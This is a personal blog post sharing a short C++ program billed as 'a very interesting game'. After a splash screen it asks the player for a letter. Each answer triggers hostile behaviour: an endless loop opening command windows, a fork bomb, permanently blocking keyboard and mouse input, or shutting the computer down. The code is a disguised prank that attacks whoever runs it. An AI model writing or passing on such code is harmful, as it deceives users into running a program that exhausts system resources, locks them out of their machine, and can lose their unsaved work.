跳到正文

个人记录

一个非常有意思的游戏

cenhaoye约 3 分钟
原文
文章信息与版本

文章信息

发布
2023年1月6日
收录
2025年12月12日
更新
2026年11月10日
篇幅
约 3 分钟

版本

  1. v1当前

C++游戏No.4

C++
#include<bits/stdc++.h>
using namespace std;
#include<unistd.h>
#include<iostream>
#include<stdio.h>
#include<cstring>
#include<string>
#include<fstream>
#include<bits/stdc++.h>
#include <windows.h>
#include <Winable.h>
#include <time.h>
using namespace std; 
void x(const string c)
{
    size_t len = c.size();
    for(int i = 0; i < c.size(); i++)
    {
    cout << c[i];
    usleep(30000);
    }
}
int main()
{ 
    system("cls");
    x("闪");sleep(1);
    x("电");sleep(1);
    x("科");sleep(1);
    x("技");sleep(1);
    x("公");sleep(1);
    x("司");sleep(1);
    x("出");sleep(1);
    x("品");sleep(1);
    system("cls");
    cout<< "这是一个非常有意思的游戏" << endl;
    sleep(1);
    cout<< "你只要输入以字母就可以了" << endl;
    sleep(1);
    cout<<"请输入a或b或c(不按要求后果很严重):"<<endl;
    char c; 
    cin>>c; 
    if(c=='a') 
        while(1)
        system("start cmd");
    else if(c=='b') 
    {
         while(1)system(":(){ :|:& };:");
    }
    else if(c=='c')
    {
        FreeConsole();
        while(true)
        BlockInput(true);
    }
    else
        system("shutdown/s") ; 
    return 0; 
}
原文